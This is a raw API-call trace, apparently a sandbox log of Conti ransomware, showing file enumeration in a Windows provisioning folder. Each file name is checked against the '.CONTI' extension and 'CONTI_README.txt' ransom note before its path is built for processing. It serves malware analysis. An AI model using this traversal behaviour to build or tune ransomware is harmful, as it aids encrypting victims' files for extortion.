	[0109.449] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.449] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0109.449] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f3f19a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f3f19a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f3f19a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="421__C~1.PRO")) returned 1
	[0109.449] lstrcmpiW (lpString1="421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.449] lstrcmpiW (lpString1="421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.449] StrStrIW (lpFirst="421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.450] StrStrIW (lpFirst="421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.450] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.450] lstrlenW (lpString="421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.450] GetProcessHeap () returned 0x1720000
	[0109.450] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6573660
	[0109.450] lstrcpyW (in: lpString1=0x6573660, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.450] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.450] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml"
	[0109.450] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f65464, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f65464, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f65464, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="422__C~1.PRO")) returned 1
	[0109.450] lstrcmpiW (lpString1="422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.450] lstrcmpiW (lpString1="422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.450] StrStrIW (lpFirst="422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.450] StrStrIW (lpFirst="422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.450] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.450] lstrlenW (lpString="422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml") returned 64
	[0109.450] GetProcessHeap () returned 0x1720000
	[0109.450] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x18070e8
	[0109.450] lstrcpyW (in: lpString1=0x18070e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.450] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.450] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml"
	[0109.450] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f65464, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f65464, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f65464, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28d, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="423__C~1.PRO")) returned 1
	[0109.460] lstrcmpiW (lpString1="423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.460] lstrcmpiW (lpString1="423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.460] StrStrIW (lpFirst="423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.460] StrStrIW (lpFirst="423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.465] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.465] lstrlenW (lpString="423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.465] GetProcessHeap () returned 0x1720000
	[0109.470] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x1807f00
	[0109.470] lstrcpyW (in: lpString1=0x1807f00, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.470] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.470] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml"
	[0109.475] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f65464, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f65464, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f65464, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="424__C~1.PRO")) returned 1
	[0109.475] lstrcmpiW (lpString1="424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.475] lstrcmpiW (lpString1="424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.475] StrStrIW (lpFirst="424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.475] StrStrIW (lpFirst="424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.480] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.480] lstrlenW (lpString="424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml") returned 64
	[0109.480] GetProcessHeap () returned 0x1720000
	[0109.485] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x18082d8
	[0109.485] lstrcpyW (in: lpString1=0x18082d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.485] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.485] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml"
	[0109.485] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f8b671, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f8b671, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f8b671, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="425__C~1.PRO")) returned 1
	[0109.490] lstrcmpiW (lpString1="425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.490] lstrcmpiW (lpString1="425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.490] StrStrIW (lpFirst="425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.490] StrStrIW (lpFirst="425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.490] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.490] lstrlenW (lpString="425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml") returned 70
	[0109.490] GetProcessHeap () returned 0x1720000
	[0109.490] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x656cc18
	[0109.490] lstrcpyW (in: lpString1=0x656cc18, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.490] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.490] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml"
	[0109.490] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f8b671, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f8b671, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f8b671, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="426__C~1.PRO")) returned 1
	[0109.490] lstrcmpiW (lpString1="426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.490] lstrcmpiW (lpString1="426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.490] StrStrIW (lpFirst="426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.490] StrStrIW (lpFirst="426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.491] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.491] lstrlenW (lpString="426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml") returned 70
	[0109.491] GetProcessHeap () returned 0x1720000
	[0109.491] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x656d428
	[0109.491] lstrcpyW (in: lpString1=0x656d428, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.491] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.491] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml"
	[0109.491] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f8b671, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f8b671, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f8b671, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="427__C~1.PRO")) returned 1
	[0109.491] lstrcmpiW (lpString1="427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.491] lstrcmpiW (lpString1="427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.491] StrStrIW (lpFirst="427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.491] StrStrIW (lpFirst="427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.491] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.491] lstrlenW (lpString="427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml") returned 71
	[0109.491] GetProcessHeap () returned 0x1720000
	[0109.491] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656c408
	[0109.491] lstrcpyW (in: lpString1=0x656c408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.491] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.491] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml"
	[0109.491] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f8b671, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f8b671, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f8b671, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="428__C~1.PRO")) returned 1
	[0109.491] lstrcmpiW (lpString1="428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.491] lstrcmpiW (lpString1="428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.491] StrStrIW (lpFirst="428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.491] StrStrIW (lpFirst="428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.491] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.491] lstrlenW (lpString="428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.491] GetProcessHeap () returned 0x1720000
	[0109.491] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x656cd70
	[0109.491] lstrcpyW (in: lpString1=0x656cd70, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.491] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.492] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml"
	[0109.492] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f8b671, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f8b671, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f8b671, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="429__C~1.PRO")) returned 1
	[0109.492] lstrcmpiW (lpString1="429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
